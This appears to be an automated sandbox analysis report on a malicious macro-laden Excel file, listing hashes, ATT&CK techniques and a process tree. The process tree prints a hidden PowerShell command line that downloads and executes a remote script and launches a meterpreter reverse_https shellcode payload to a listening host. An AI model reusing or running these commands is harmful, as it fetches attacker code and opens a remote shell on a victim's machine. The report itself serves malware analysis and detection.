6922bd89361a3fb1dbb856681ab28f4bcfa2d43aef70dcf4f06779e8cb49cb51

General

Target

6922bd89361a3fb1dbb856681ab28f4bcfa2d43aef70dcf4f06779e8cb49cb51.xls
Size

44KB
MD5

a4f10961fc8fde840029af9fbd58dbcb
SHA1

1263341bb53e47b5f5f5bbd8927bb69a7f3e6369
SHA256

6922bd89361a3fb1dbb856681ab28f4bcfa2d43aef70dcf4f06779e8cb49cb51
SHA512

215a2fc1b826a125d61bf52b7bf0b149ac038e710688f7d6bceecf73f4b6da62ff779dbf8bc7419c0efa2d2ad59da22338448dc9daecd45d9ebd7f79963d34ea
SSDEEP

768:XtvoefzRk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJMtkW+uFlmQQc81J9ac09acyL:3dk3hbdlylKsgqopeJBWhZFGkE+cL2NE

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2292	2952	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2660	2612	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2292	powershell.exe
4	2292	powershell.exe
5	2628	powershell.exe
6	2628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe
2628	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2612	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2292	powershell.exe
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2612	EXCEL.EXE
2612	EXCEL.EXE
2612	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 2660	2612	EXCEL.EXE	33
PID 2612 wrote to memory of 2660	2612	EXCEL.EXE	33
PID 2612 wrote to memory of 2660	2612	EXCEL.EXE	33
PID 2612 wrote to memory of 2660	2612	EXCEL.EXE	33
PID 2660 wrote to memory of 2628	2660	wscript.exe	34
PID 2660 wrote to memory of 2628	2660	wscript.exe	34
PID 2660 wrote to memory of 2628	2660	wscript.exe	34
PID 2660 wrote to memory of 2628	2660	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6922bd89361a3fb1dbb856681ab28f4bcfa2d43aef70dcf4f06779e8cb49cb51.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VWY0RY53SLBJKI038MAH.temp

Filesize
7KB

MD5
5255a63955660868523430b988656f83

SHA1
7248d5b7e9379226e3b5f332d6b93a76d606d29d

SHA256
ed35db68a621232abedf2ce055690abb0ea18c085c458e51560a1a441649768c

SHA512
e8e8aec3cb6add8b31ae1bc8845f658738223d7be71cd3ee992c34455dd4eae92d2235d3e06261b6b26a8e85972b23501bade988c531db6cf81fd391e26d19e7

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/2292-46-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2292-45-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2612-38-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-39-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-32-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2612-18-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-17-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-1-0x00000000734CD000-0x00000000734D8000-memory.dmp

Filesize
44KB

Download
memory/2612-49-0x00000000734CD000-0x00000000734D8000-memory.dmp

Filesize
44KB

Download
memory/2612-50-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-51-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-52-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/2612-53-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download

Analysis

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